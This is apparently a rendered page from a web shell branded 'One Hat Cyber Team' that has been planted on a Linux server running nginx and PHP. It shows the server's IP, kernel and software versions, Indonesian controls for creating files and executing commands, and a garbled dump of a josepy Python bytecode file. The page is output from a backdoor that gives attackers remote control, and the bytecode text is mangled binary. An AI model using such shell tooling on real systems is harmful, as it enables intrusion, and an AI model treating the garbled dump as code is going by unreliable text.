⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
josepy
/
__pycache__
/
View File Name :
json_util.cpython-312.pyc
etH d Z ddlZddlZddlZddlmZmZmZmZm Z m Z mZmZm Z ddlmZ ddlmZmZmZmZ ej* e Z d*dededed eeegef d eeegef defdZ G d d Z G d de Z G d dej: Z e dd Z G d dej@ ejB e Z"de#defdZ$d+dedee% dede#fdZ&de#defdZ'd+dedee% dede#fdZ(d ejR defd!Z*d"edejR fd#Z+d$ejR defd%Z,d"edejR fd&Z- e d'd( Z. G d) d(e" Z/y),zJSON (de)serialization framework. The framework presented here is somewhat based on `Go's "json" package`_ (especially the ``omitempty`` functionality). .. _`Go's "json" package`: http://golang.org/pkg/encoding/json/ N) AnyCallableDictIterableListMappingOptionalTypeTypeVar)crypto)b64errors interfacesutil json_namedefault omitemptydecoderencoderreturnc " t | |||| S )a4 Convenient function to declare a :class:`Field` with proper type annotations. This function allows to write the following code: import josepy class JSON(josepy.JSONObjectWithFields): typ: str = josepy.field('type') def other_type(self) -> str: return self.typ r r r r r )_TypedFieldr s 2/usr/lib/python3/dist-packages/josepy/json_util.pyfieldr s &